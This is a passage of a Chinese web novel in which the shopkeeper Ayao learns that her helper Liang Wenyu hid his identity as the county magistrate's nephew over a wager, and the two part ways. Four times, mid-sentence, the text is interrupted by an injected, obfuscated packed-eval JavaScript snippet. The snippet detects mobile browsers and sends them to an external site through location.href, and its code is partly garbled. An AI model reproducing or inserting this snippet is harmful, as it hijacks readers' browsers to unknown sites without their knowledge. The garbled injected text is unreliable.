所有菜品给有特色,阿瑶很喜欢许老大做的酥鱼,她和余哥儿两人差点抢着吃,好在许老大做得量多,鱼尾部分全部用来做酥鱼了,炸过的鱼肉酥脆连着骨头都能一同嚼。 许老大晓得两个孩童不太会分辨鱼骨,生怕他们误吞卡住喉咙。 酥鱼在当地可是有名吃食,外头各大酒楼都有售卖,要说味道,自然是赵氏酥鱼最为有名,但镇上出色味好的酒楼就属花楼一家。 那还是许老大在时的好名声,后来许老大离开后,酥鱼制作手艺就没那么好吃了。 吃饱喝足之后,阿瑶再次开始制冰,她让许老大多买了几只大小不一的缸回来,又去山上砍了几颗竹子,用锯子分割成一段段,钻上小孔放入水。 硝石数量少,许老大就去回了村子,泥瓦房附近会有许多硝石,他全都挖了回来,另外准备了些木炭,提炼硝石要废铁锅加水和木炭提取,多次少量提取就能得到块状硝石。 水量多,硝石少,阿瑶几乎把周边药铺的硝石都买了回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724941|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她和梁文宇一人一口大缸,提炼出来的硝石质地偏硬,需要捣碎后融入水中。 阿瑶把个个竹筒开口上头绑上麻布,排列进小缸中,一个里头放十几个属于极限,她要分开好几次制作,竹筒内的冰倒出来后就装入冰桶,反复几次就能装满。 冰雪铺营生还需继续做,因冰量少,阿瑶每日都限制碗数出来,多数时候还是许老大的炒菜火爆一些,菜色是逐渐被阿瑶推出来的,都是许老大拿手好菜,尤其是酥鱼,外头根本吃不到这样的味。 制作的果酱全被人砸毁,阿瑶只好从头开始制作,购买各种稀有果子,她花费好几日买到,尤其是庵罗果,数量少到五日内有才有一个,而且果相还未必好 梁文宇与吴大娘关系比阿瑶还要密切许多,这点她看出来了,此刻两人正去往东市路上。 他肩上背着箩筐,手里提着送给吴大娘的几道下饭小菜,阿瑶什么都没拿。 “大娘。”她总是第一个入店。 吴大娘瞅着午膳吃些什么和身边下人念叨着,听见动静连打发人从铺子后门出去,起身出去迎接。 这两人看的多了,越发像是回门该有的模样,阿瑶眼中明亮,可还是有一抹无力。 “阿瑶,今日大娘替你留了不少好果子,一会都带回去。”吴大娘拉着她手,与梁文宇对视一眼,心知肚明了。 只要两人不吵架,她自然有多高兴就多高兴,她也时常惦记两人,说起来都有许久不来了。 多亏姣姣时常过来探望,告知她阿瑶家中事,否则她岂会让梁文宇带阿瑶过来。 阿瑶看到果子别提有多高兴,吴大娘留着给她的都是些好果子,可都是阿瑶求之不得的。 光拿可不好意思,阿瑶拿过梁文宇手中食盒:“大娘,瞧我给你带什么好吃的了。”、 食盒里头放着酥鱼,凉拌鸡丝,脆琅轩、黄酒烧肉和鱼羹,五道菜用料足,都是花了不少心思下去的吃食。 这头阿瑶顾着同吴大娘说话,根本没注意到梁文宇出去的身影。 她背对他而坐,目光全在吴大娘身上,已期待目光看着大娘吃下第一道菜。 口感清爽的脆琅轩,加上姜末,熟油、醋盐拌出来最是属于夏日清凉小吃。 每道菜吴大娘都尝了口,要说喜好必然是酥鱼,这样的酥鱼少之又少,即使家中有名厨也未必能做的如此好。 阿瑶起身发现屋内并无梁文宇身影,朝外头瞧了瞧,门口露出片衣角,她走过时吴大娘并为在意。 门口两人的对话叫阿瑶给听了去。 “公子,老爷叫您有空回去一趟,说有要事同您商议。” “好。”梁文宇想了想,“你且回去告诉舅父,我明晚过去。” “是。”传达完话,人就离去。 门口影子晃动,阿瑶离开门口,快速朝里跨了几步:“你适才去了何处?” “大娘让我出去装货。”梁文宇随口说道。 阿瑶应了声,就坐到大娘身边。 49. 分家后(二十六) 许是菜色对大娘胃口,她吃了许多,酥鱼是最先吃完,其余吃得差不多。 鱼羹还剩下大半碗,大娘让阿瑶陪她继续吃了些,原先担心这些菜不对大娘胃口,阿瑶还备下饭食和咸鸭蛋,两样最后拿出来。 至于梁文宇出去那一小会儿功夫,阿瑶扒着汤勺,心底揣摩起来。 先前她见到梁文宇时对方可是失去家财之人,蹲在角落卑微摸样叫人内疚。 可她亲耳听见外头有人称呼他为“公子”,语气恭敬,还有什么过府一聚。 “阿瑶,这些果子你先带回去,若是不够就让你身边伙计随时过来取,要多少,大娘给多少。”吴大娘贴着阿瑶说话,目光时不时瞟梁文宇一眼。 阿瑶手捏汤勺,垂眼瞧碗里头的鱼丝和鸡蛋丝:“大娘,您这样做,我真要还不起了。” “什么还不还的,大娘就是喜欢你这小姑娘,有我年轻时的风范。”吴大娘对阿瑶喜欢毫不遮掩。 阿瑶被她如此一说,脸上娇羞地笑着:“大娘,往后您想吃什么派人通知我一声,就当我是您女儿。” “好好好,大娘欢喜的很,就差个好女儿。”她嘴里说着,眼神瞪了瞪梁文宇。 他肆意靠门而站,姿态潇洒,调侃道:“大娘家中小儿顽劣,不似你一般乖巧可人,能多上如此一位慈母,是你的福气,好好应下就是。” 吴大娘眯起眼,臭小子!等会儿收拾你! 阿瑶点头应下,并承诺往后会把吴大娘当做阿娘一样对待。 收拾完碗筷,吴大娘拉着阿瑶说了好些话,交代她每周都过来看望她,有什么好果子都可派人过来取,若是没时间她已是可命人送去。 出来时辰渐久,阿瑶想冰雪铺中正逢午时,店里忙碌收拾好东西便带上食盒离去,梁文宇背上的箩筐装满了大娘送于她的吃食。 他们先回到宅子,处理竹筒中半成型的冰块,又跑了一趟师傅处,购买了好些冰回来,这些冰都是阿瑶托师傅做的,按照单个竹筒多少文方式来收取。 在制冰师傅哪儿放了近三四十个竹筒,阿瑶全都搬过来了,她倒入冰桶后运往冰雪铺,往常吃冰都由晌午开始,如今冰稀缺,阿瑶就调整了售卖时辰,该有午后开卖。 制冰速度远远赶不上吃冰速度,一共五十多个竹筒两三个时辰就售空了,因硝石并未有想象中那般好得,阿瑶冰沙价格又往上提了提。 冰沙数量有限,阿瑶就把重点全引到许老大做的菜肴上头,她更换了菜单,把菜品名放到首位,进来的食客不论吃冰还是吃食,但凡进来了都要吃上一些再走。 父女两人商量多几道菜色出来,许老大得空就会将原来做过的一些吃食都放出来,经由阿瑶品尝定价。 主要是许老大做的实在好吃,外头食客盼着他们早日开店,反对吃冰的欲。望降低。 猪下水是旁人都不太爱的东西,可酒楼出了道好菜,便是“荔枝白腰子”。① 猪腰劈开两边,切去中间筋膜,减少腥味,清洗干净的猪腰放入淘米水中浸泡至颜色发白,期间需要多次换水,直到水色变清,之后清洗干净。 表面划上花刀还不能切断,过热水焯完,捞出冷水冲洗,保持嫩滑口感。 冷却的猪腰放入由蒜泥,黄豆酱和醋调制出来的酱料中,搅拌均匀去掉杂质,最后淋上香油。 吸满汤汁后整齐摆放于盘中,并在上方点缀两颗切好的新鲜荔枝果肉。 这道菜如今成了阿瑶铺中最新菜式。 外头要吃此菜的人众多,可阿瑶就准备了五个猪腰,这些猪下水买回来是极其便宜,有些猪铺数量多无人要时,都是免费送。 但好处都没遇到,荔枝白腰子成为各大酒楼争相模样的菜品后,价格随之上涨。 不过还有其他下水供阿瑶购买,除去猪腰,猪肝、猪肠经过处理和烧制已是能成为一道好的下饭菜。 光买猪腰大亏,阿瑶还花了三文钱买下剩余下水。 要说下水中,味道最重的必然是猪肠,这东西需要加面粉和盐反复揉搓出来,还需要反过来把里面多余的肥油去除,最后再用各种香料卤上一卤,不能煮过头,否则失去韧劲就不好吃了,切段后用蒜和葱爆炒出香味,吃起来完全没有臭烘烘的味道。 这样一道好菜,阿瑶将它放在最后,大多数人都没尝过它什么味道,连着许老大都未曾吃过,卤煮方法还是阿瑶边说边照着做出来的。 两三斤肠就只做出来一盘,切断出去后剩下估摸只够两盘了,因大家都没尝过,阿瑶不好推行此菜,让大伙免费品尝,本来就打算好供大伙吃的,阿瑶让许老大切的时候有意往小了切。 在鼓动之下,食客吞咽口水吃了第一口,入口并未有猪身上的腥臭味,口感鲜香还嚼劲十足,她凡是出新品都事推崇一人出来尝试,那人便是阿瑶第一位客人,也是位对吃食研究颇多的吃客。 此人格外喜欢同阿瑶讲述千奇百怪的各种吃食,这张嘴里吃过无数美食,可都抵不上许老大将猪下水做的如此美味。 正因为猪下水无法处理,人们便久而久之远离,现有阿瑶想出用各种辛辣之物来掩盖它本身味道,使得口感上有很多好处。 只是阿瑶目光从未离开梁文宇,她心中对梁文宇身份的揣测从未停止,那颗长出怀疑的种子如今已经开出第三片叶子。 看对方巧笑着同食客对话,阿瑶很难将视线挪开,探究眼神中带着几分怀疑和不信任神色,眼神中流转的亮光由明渐暗渐明,一系列转变的心态让阿瑶内心纠结起来,她是否该信任梁文宇。 可对方身上却像是隐藏巨大秘密之人,这才是阿瑶首先最为思考的问题,他靠近她的目的又是什么? 思绪就像百转千回不断衍生,从梁文宇与仆从对话之后,她心中产生的隔阂就像是与他之间的万丈悬崖。 小小冰雪铺顿时变成食肆,各类爆炒菜色被摆在桌前,人手一碗沙冰解辣,阿瑶估算过数量发现冰马上就要见底,还未发话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732223|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁文宇先一步靠近:“阿瑶,家中可还有冰?” 阿瑶下意识往边上靠了靠,她躲避动作明显,脸上维持着笑意:“新作的那批冰估算时辰也可以使用了。” “好。”梁文宇点头,瞧了几眼。 出门运冰阿瑶随同前去,梁文宇走在前面,阿瑶跟在后头,目光望向他不断前进的背影,眼神复杂,今日就是梁文宇所说晚间要去与人会面的日子。 阿瑶其实有千百分好奇,她很想知道梁文宇真实身份到底是谁!他故意隐瞒身份是想从自己这里得到什么? 去宅子取冰前还需先去一趟制冰师傅家中,两个地点属于反方向,况且制冰师傅家距离冰雪铺更远,这样一来能避免来回浪费更多体力,节省回途时间。 由于两人回来已贴近黄昏,朝云迷漫空中出现绚丽色彩,大片火烧云开放出来的模样使路上行人都因此驻足。 他们并未过多逗留,阿瑶等着梁文宇下一步。 一路上两人都未说话,直到快靠近冰雪铺时,梁文宇开了口:“阿瑶,一会儿我出去一趟,晚些回来。” 心知他要出去与人会面,可阿瑶不能装作早知晓他要离去一般,表现淡定:“好。” 等把冰送到门口后,梁文宇便转身离去,阿瑶却被过来帮忙的许老大拉住。 “阿瑶,阿爹瞧着要再出去买些食材,你留下帮一帮你阿娘,莫叫她一人太过于辛苦。”许老大准备的鱼羹根本不够食客吃,来回点上二十份就没了,半条鱼做碗羹,十条鱼还不够人吃。 于是阿瑶只好放下跟踪梁文宇念头留在铺子帮忙,虽说弄明白他身份是件重要之事,面对家人时,阿瑶选择后者。 她会做几道菜,但味道一般,也就只有白灼菜心还算能够拿出手的吃食,其余都是许老大挑大梁。 论做菜阿瑶未必能敌许老大半分,做冰沙她强太多,这几日有吴大娘照料,失去的果酱都回来了,同时阿瑶也带了不少好吃的过去,尤其是荔枝白腰子和爆炒肥肠,前者是酒楼常有的,后者是阿瑶给取的名字。 许老大买食材回来也不过一炷香时间,阿瑶还是有机会跟随梁文宇的离开方向前去,顺着州桥方向过去,她在人群中瞄到梁文宇身影,只是对方身边站着人,个子与他一般高大,态度恭敬着。 她距离他们很远,目光是时时刻刻紧盯着,人多复杂,深怕一不留行错过,两人进了东市一间茶馆,阿瑶快步跟了赶上,等过去时人早就消失在雅间之中。 茶楼同花楼有所区别,花楼二楼全是雅间,可茶楼设有隔间,上头悬空,但每个座位中都有一扇门窗遮挡双方,楼上则多是全方位遮掩的雅间,雅间之间也还是有区别的。 阿瑶给了门口小哥几文钱,让她进来听听取自子,待人不注意溜上了二楼,她一间间听过去,关山木门,外头也还是能够听到里面的声音。 找了圈,最后终于在长廊尽头听到熟悉嗓音,“说吧,舅父排你前来所谓何时。”梁文宇眉心松弛。 50. 分家后(二十七) “自然希望公子尽快将大鱼钓上岸来。”他说着推开另外一扇推门。 里面出来的人正是前几日对外宣称养病的吴县令,百姓因冰价高,家中年长者熬不过炎热活生生热死,埋怨与愤恨都落到吴县令身上,他很为难,对方特意派人警告,吴县令为此忍气吞声许久。 他本事百姓的父母官,却无法未百姓做更多事。 “子恒,你该知道鱼死网破,这条大鱼开始按捺不住,想要越过官府行动。”能够明目张胆对官员如此,想来此人必定不在意他这位父母官。 梁文宇替两人倒茶:“舅父,此事不急一时,九爷还未露面。” “正因此人持久不露面,才要先发制人。”吴县令等不得了,在这般下去,死的人将会更多。 百姓抵不上贵族,夏季酷暑,冬季严寒。 福云县地属沿海,常年可见的便是海鱼,海鲜,隋梁帝建造的京杭大运河周边都繁荣起来。 时至今日,梁文宇都未见过此人,他只知晓对方手段,可这面未有阿瑶一人见过。 那日阿瑶去见背后谋划之人时,他就在铺子里头听着动静,等人回来,再见她面上神情便知晓两人未能达成合作。 事后阿瑶曾与他提起,借好友名义询问后表示她拒绝对方合作之实的过程。 他揣度起那日经过,深知对方目的是为了将沙冰好营生捏在手心,对待旁人是半分都不愿,更是将自私自利发挥到极致。 听闻六爷是位爱才之人,对手艺和胆识颇为赏识,连他身边的陆庄就是由一小小跑堂走上此位。 由此可见,这位六爷对待阿瑶十分与众不同。 吴县令话语中带着惋惜与愤恨,丝丝怒气从他平淡面色中流露出来:“子恒,你该知晓,舅父如此催促并非为了什么,而是为了这整个福云县的百姓。”他见过太多的生离死别。 梁文宇垂首:“那日舅父提起让侄儿考取功名,直观如今,却又无法为百姓做些什么。” 吴县令长叹气:“子恒,你还记得那赌局是何吗?” “侄儿记得。”梁文宇道。 吴县令来了兴趣:“你说于我听听!” “舅父与我赌阿瑶能否凭借一己之力开创女子为商的佳话。”梁文宇一字不落全说出口。 “不错。”吴县令夸奖道,“你可知女子为商本就比男子多百倍阻碍,她能为自己开创一片天地,为何你却不能,当日她倒打你一耙之事可否有放在心上,冷静、睿智并非只有形容男子才能,同样女子已可。” 阿瑶靠在门框边听着里头吴县令毫不吝啬的夸奖,嘴角都快弯到耳边。 她反应过来,晓得了梁文宇舅父乃是吴县令,而吴姣姣和梁文宇有着血缘关系。 当初困难之事,来铺中吃冰的仆从身上有几人挂着吴府令牌,原来如此,原来如此。 他故意让自己觉得落魄,其实是与吴县令之间的赌注,赌她能否成功。 这是件多么令人悲哀的事,阿瑶轻轻冷哼一声,对于后面交谈话语满不在意。 当得知她不过是公子哥与他那位县令舅父之间的赌局后,她此刻心情称不上愉悦,反而多了种自欺欺人的失落感。 阿瑶不知自己何时出的茶楼,她暂时不想面对梁文宇,又不想回铺子帮忙。 一人走着走着从东市走到西市尾,身后似乎有人叫喊她,转过头去却未看见什么,恍然惊醒,再差一点就要出了城门。 福云县与其他地方不同,开放夜市同时,城门内外也由人值守,每当夜幕降临,外面走货的商贩便不能进城,需通信证才可。 阿瑶差点就和围在城门前的木栅栏撞上,那削尖的笔头看着就吓人,近在眼前都没让她害怕,心尖一直挂着个问题,围绕了她好些天。 明明很想知道梁文宇接近自己的原由可当她真实知道后反而多么希望这段记忆从脑海消失。 她惊奇发现凡事和自己有过接触的人出去爹娘之外都有梁文宇的痕迹,买果子的大娘刚好姓吴,她和吴姣姣又是什么关系? 一个问题背后还有另外一个问题,就像织起了天大的一张网。 阿瑶去了州桥附近的渡口,渔船已停,舟船上是公子哥们的杯酒欢言,婀娜舞姿映在窗前,阿瑶双手托起下巴,两脚踏在渔船上。 头顶的月亮挂在水中又大又圆,明晃晃的亮光直射阿瑶眼中,水面并不是很清,即使晚上都能看见水中的鱼。 她坐在渡口望来望去,落叶飘落,引起水波晃荡,一圈圈往外荡漾出来,这样的水花晃得阿瑶心中越发烦躁。 “怎么突然坐在这里。”梁文宇过来与她坐在一块儿。 突如其来的人叫阿瑶反应一愣,片刻:“你回来了。”淡定语气听不出什么变化。 “嗯。”梁文宇手中捏着草把玩,“再不回来许叔就要忙不过来了。” 晚上做吃食比较少,还是冰沙买得多一些,因为冰块数量少,阿瑶的炒酸奶都无法制作。 实在没办法情况下才会去冰行买一些冰回来做炒酸奶,一块冰可做一天的量。 “有心事?”每当阿瑶有心事总会一人独处。 阿瑶开口辩解:“没有,只有有些累了。” 的确,这几日是有些累,来回制冰运兵对阿瑶来说是有些累,尤其是冰价涨上去之后,她总要话很多时间去想如何把铺子的营生稳住。 光每日想菜单就是项大工程,阿瑶坐在此处想到好几个菜名收拾好心情回去。 铺子里哄闹着,晚间外面比里头凉快许多,原是许老大做了很多菜出来。 阿瑶一开始就在后厨让人埋里根管子进去用来排油烟,效果并为想象中那般好,可也能用一些。 她这日都没怎么好好做冰沙出去,大多数时候都是海氏帮忙做的,她每日都出去逛西市,收集的果酱反倒多里一大堆。 根据食客口味制作合适的冰沙,阿瑶的炒酸奶也终于恢复,前阵子果脯摊上难得罕见出现里荔枝,阿瑶买来浸泡后做里炒酸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15736865|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶出来。 泡润后的荔枝个头饱满却失去鲜果的清甜,加入牛乳和酥珞还需放上一些麦芽糖,否则就只有酥酪的酸味。 阿瑶往里面撒上一些葡萄干和巴榄子碎,要知道一碗荔枝炒酸奶在当时可是买出里最高价,这还仅仅是用果脯制作而成的。 “一骑红尘妃子笑,无人知是荔枝来。”阿瑶道,“炒酸奶名字就叫妃子笑吧。” 前朝明皇时期,有位贵妃颇受宠爱,想在生日宴当天吃上来自岭南地区,可盛京中只有荔枝煎比较有名。 “妃子笑。”梁文宇笑了笑,“名字很好,可惜平民百姓吃不上这样的昂贵之物,能吃上荔枝煎已算不错。” 新出来的妃子笑上头,阿瑶摆放了颗荔枝,那是用荔枝干泡发而来,边上人围观着,感叹阿瑶的大手笔。 百姓们心中认为,荔枝就该是扁的模样,他们从未见过它原本样子,做成的果脯中间没有去掉果核,泡发后一头尖,尾部圆,果肉呈现白色半透明装,隐影出透出连的果核。 就这样小小一碗,售价在八十至九十一碗,果脯比不上新鲜果肉质地,很大程度上阿瑶还是将荔枝果脯还原成果子形状。 她多了一批果脯,全都泡发摆在一只小盏里,她在下面铺了层碎冰,冰镇后的口感寡淡,淋上混合糖浆的酥珞味道可好了。 这样一盘被阿瑶加入菜谱当中,由炭笔写在木牌嘴上方。 停下来是,她脑海会不由自主的跳出今天听到的几句话,甚至内心开始抵触起来,她突然失去了情感,控制不住那种有内心宣发而上的情绪,心口像有只手捏着她一般。 大堂里面热热闹闹,后厨里其他人都被阿瑶赶去前面,许老大夫妇忙了许久才刚吃上饭,若非阿瑶驱赶,他们还未必会吃。 她根据食客点的吃食,推算价格后对送了盘荔枝蜜沙冰出去。 荔枝蜜沙冰和妃子笑有些区别,在碎冰里面放上三颗泡发的荔枝,淋上少量酥珞和麦芽糖浆,东西递上桌后被其余食客调侃了几句。 “满两百文可送一碗荔枝蜜沙冰。”阿瑶回答食客的话。 一碗荔枝蜜沙冰价格和妃子笑相同,能少花些钱财吃上这样的沙冰,食客是高兴的很。 于是食客见出现了攀比消费,将想吃的几个菜都点上一份,许老大中途出来煮菜。 整理完一切,她对这许老大道: “阿爹,我出去一趟。”阿瑶憋住那股委屈劲,用最冷静的话说起来。 她跑出铺子,沿着西市巷口的河路小跑过去,河道两边长着高长的芦苇,白色絮毛被夏日热风带过,席卷着河岸。 月亮已由东边升至最高处,亮光忽然明亮,像是白日一般,将地面的泥砖都照的清晰可见。 这里成了阿瑶最为放松之地,无人打扰的悠闲场所。 短短几月被人耍着玩,这股气阿瑶是怎么都咽不下。 她心里打算着替自己出完这口气。 梁文宇与吴县令要查六爷,此人她见过! 51. 分家后(二十八) 或许她可以帮上一帮。 六爷之前找过她,态度诚恳到让她不经怀疑对方拿出了十足的诚信要于她合作,也许会是个机会。 阿瑶的离去让梁文宇先后发现些端倪,茶楼外面掉落的香囊样式和她身上一模一样。 背后绣工整齐,线条勾勒出来的轮廓是阿瑶的名字。 他回去路上瞧见独自一人坐在渡口的阿瑶时便发现她不对劲处,往日见他来总会带着点笑意,可那时的她一丝笑意都未出现。 这样的反差让梁文宇感知到什么,可以说,阿瑶知道了什么,看来她都听见了,否则不会是这幅忧心忡忡的模样。 梁文宇打完冰,外面那些食客消停下来,他默默收拾完后厨,走到门边对着许老大左肩拍了拍。 阿瑶出去近一盏茶功夫,许老大夫妇见人没回来心中急着,饭吃得都没什么胃口。 果然,让梁文宇猜到了阿瑶所在位。 她一有心事就喜欢到州桥边发呆,亏得今日天气好,否则得把她憋屈死。 “你都知道了。”梁文宇顺着阿瑶身边台阶坐下,坦白道。 阿瑶指尖捋上发丝,垂下眼点头:“嗯。” 梁文宇轻叹口气:“看来是瞒不住你了。”那日他太大意。 “当日欺骗于你是想知道往后的路该如何走。”梁文宇转向阿瑶,瞧着她侧脸看,“怪我,非要和舅父打赌。” 其实阿瑶对于两人对赌之事并未恼怒,说明她一开始便已经收到吴县令关注,私底下不知该受到多少恩惠。 这些里头,说不准还替阿瑶摆平不少。 “你两人对赌一事,我自然感激,吴县令是位好官。”阿瑶道,“只是我不该是你们两人博弈的筹码。” 梁文宇看着阿瑶表现出的不满,略感歉意:“是我不好,若那日你我未曾见过面,或许今日便不是这番景象。” 是啊!哪日他们之间从未见过面,今日的她可能没铺子营生,后面的日子早被阿嬷安排好卖给镇上有钱人家做妾侍、奴婢。 说来还要感谢他。 “你知我不喜外人左右我,往前走是我该做的事。”阿瑶点名自己做营生和铺子未必是由于梁文宇所带来的好处,她靠自己一人也行。 只是这个插曲让她认识他。 “是,我并没怀疑过你,你同其余女子是有不同。”梁文宇心底浮现吴县令对他说过的话,“你确实有男子之姿,即使女儿身也困不住你雄心壮志。” 他接着又道:“这便是我选你赢的理由。” 赢的理由?阿瑶笑了笑,“选我能赢,不过是你想逃避吴县令对你的要求罢了,何必要以此为借口?” “并非借口,是我心中认定你会赢。”梁文宇解释起来。 阿瑶心口一震,她听见了什么?瞳孔带着质疑目光望向梁文宇,想要再次听见他亲口说出来的话。 “舅父若想赢,大大方方派人前来驱赶你便是,何必费力帮你。”梁文宇对上她探究目光,指尖忽然抽动她耳边青丝。 她不敢乱动,指尖的余温擦过脸颊,停在耳廓片刻,用力捏了捏她逐渐开始发红的耳垂。 “疼吗?”梁文宇松开道。 阿瑶点头,揉搓起来,她感觉自己的耳廓不断发烫,尤其是耳垂处。 梁文宇起身居高临下,“知道疼就好。莫再胡思乱想。”他已经超越了盟友之间的本分。 “舅父同我表面上是对立关系,实际上我们两人谁都希望你能赢。”梁文宇收回手,往身后往,整个人呈现后仰态势,“你的出发现打破常态,我与舅父才有机会去试探对方。” “早几年,福云县的冰价一直受外人所控,舅父爱民可一直找不到把柄,此事唯有上报朝廷,才有可能回归他手中。”梁文宇近几年跟着吴县令学了很多。 阿瑶抬头望天:“陛下推行女子从商事件好事,只怕我已经危害到某些人利益,他们这才想提高冰价来压制于我。”她明白自己成了哪个变故。 后面将会是场腥风血雨。 “我已知晓你真实身份,往后你不必再来。”阿瑶沉默许久对着即将离去的梁文宇说出了这样一句话。 他折回来,拉起阿瑶,眼神中像是受伤一般,“你说什么?” 阿瑶不想再和他纠缠不清,放他归去,好好过人上人的日子。 “你走吧,就当做,我们从未遇见过,去过你想要的日子。”阿瑶费了好大力气才说完这句话,每说一句心里如刀割。 梁文宇直视阿瑶双眼,她眼中失去了所情感,两人一个不敢置信,一个冷漠至极。 阿瑶闭上眼,如负释重:“是我打扰到昔日公子哥,日后无需担心,我会照顾好铺子。” 她驱赶着梁文宇,想将他从铺子里面摘干净,提前让他赢。 “你真如此绝情,对我难道就没有一丝…”梁文宇质问出口。 阿瑶快速接上话:“一丝什么?我对你不过是盟友、同僚之间该有的。” “好,是我自欺欺人。”梁文宇转身离去。 这场对赌,最后还是吴县令赢了。 自梁文宇离去,阿瑶铺中好似少了什么东西,她再也没见过吴姣姣身影。 连着东市大娘出来见她是面上都带着几分为难,阿瑶匆匆买了几筐果子回来。 冰块价格不稳,吴县令亲自派人去平,双方暗地里僵持许久,价格勉强便宜了几文。 只是阿瑶偶然间在西市见到了梁文宇,他的确与从前大不相同,穿戴的衣物哪一件不是上等料子,手中攥着黑金檀木扇。 他们像是回到了各自的轨道。 阿瑶瞥得飞快,粗粗一眼就将目光收回,实现全放在眼前果子堆里,竹匾里的果子需要挑选,有些不太新鲜。 她捏着枚果子愣了会儿,汁水就顺着掌心流进了袖口,低头一看,果子都被她给捏烂,擦干手,付了钱,挎着竹篮离开。 铺子里头生意好,少了一人总觉得困难,阿瑶招了个伙计过来,这人手脚比梁文宇勤快,一人能干三人活,海氏时常夸奖她。 这小姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742179|169210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同阿瑶有些相近,被家中嫌弃是女儿身赶了出来,无路可走,只好在街口乞讨,阿瑶见她可怜才将她买下。 说来也是奇怪,她这里的伙计居然都是乞讨时被她所买而来。 “阿姐,外头有人找你。”新来的小娘子叫月娘,她端着木托盘过来。 后厨忙着为前头食客准备吃食,她手头一时停不下来,但还是出去了。 外面来的人是吴姣姣身边侍女,她手中用布料包着些东西,见阿瑶出去,上前一步道:“阿瑶姑娘,三日后是我家姑娘生辰,想请你过府一聚,这是姑娘送于你的。”她双手递上。 包在外头的布料很是寻常,阿瑶接过后感觉手中很轻,只当是姣姣替她寻来的食谱之类并未打开看。 送走人前,阿瑶做了两碗吴县令和姣姣最爱的沙冰,忙完后,擦干手,阿瑶打开来瞧上一眼。 布料里头包着件做工精美,材质又是市面少见的料子所做的衣裳,阿瑶顿时有些愣住,眉头微微蹙起来。 她指尖因数月劳作有些磨花,上头指纹消失大半,粗糙手指尖摩挲的布料光滑细腻。 阿瑶拎起领口对照朝自己身上比了比,尺寸大小和她身上这件很是相近,她穿上试了试,居然比对比时还要合身。 她们两人相处不就,合起来见面不过也就一只手而已,竟然如此了解。 已经嫌少没有做过衣裳,穿管粗衣麻布,阿瑶觉得这身料子舒服着很,可她从来不凭白受人恩惠。 即使是吴大娘当初白送她果子后,阿瑶也偷偷放了钱,更何况姣姣的身份摆在哪儿,她收下岂不是对外宣称两人关系。 本就是她一人惹下的祸事,不想拖累她人。 阿瑶等两个人哥儿下学堂回来之后,就让他们帮忙把衣裳原封不动送了回去,送去时还写了份信给姣姣。 自个用硝石制冰的法子,阿瑶还在继续使用,院子里头逐渐增加的竹筒是多上一倍,硝石供量增大,阿瑶不光自己做,制冰师傅哪儿也定了好些批冰。 只是用量快,做冰三五个时辰,外头食客吃起来一个时辰全都没了,冰卖完后,冰雪铺展示就成为食肆做些热菜。 许老大花心思研制许多新菜色出来,白日里热菜和冰饮同时制作,可抵消爆炒时铺子里热意满贯。 快时隔半月未见的梁文宇出现在铺子门口,他远远瞧着在后厨忙碌的阿瑶,看了会儿边朝花楼雅间而去。 他此次出来时未舅父交代同六爷见上一面之事,他家是汴梁一带有名的大商,作为家族少当家,出来与之会面。 刚到花楼时,雅间聚集着几位同他关系要好的诗友,几月间从乞丐小二又恢复到公子哥,他们巴结着很。 他掩盖身份从未挑明,即使最要好的好友知晓的哪些事儿都是他为此编造出来的谎话。 历经多月,梁文宇身上的纨绔气息渐渐隐退,多了几分沉稳与睿智。 他站在二楼书房门外,以商人的身份进门。 “六爷,在下文宇,特此来赴约。”梁文宇道。 52. 分家后(二十九) 陆庄出来迎接梁文宇,里头还坐着朱玉龙,瞿罗两人。 六爷坐在首位,面色淡定地替两人倒茶,“梁公子,多年不见,可还安好。” “托六爷关照,好的很。”梁文宇从容坐下,与六爷面对面。 六爷放下茶壶,放下袖子:“听闻梁兄最近在查冰价一事,可是在下哪里出了纰漏。” “六爷从未出现纰漏。”梁文宇喝起了六爷倒于他的茶水,浅浅抿上一口:“只是手底下的人太过于放肆,如此到让我很是为难。” 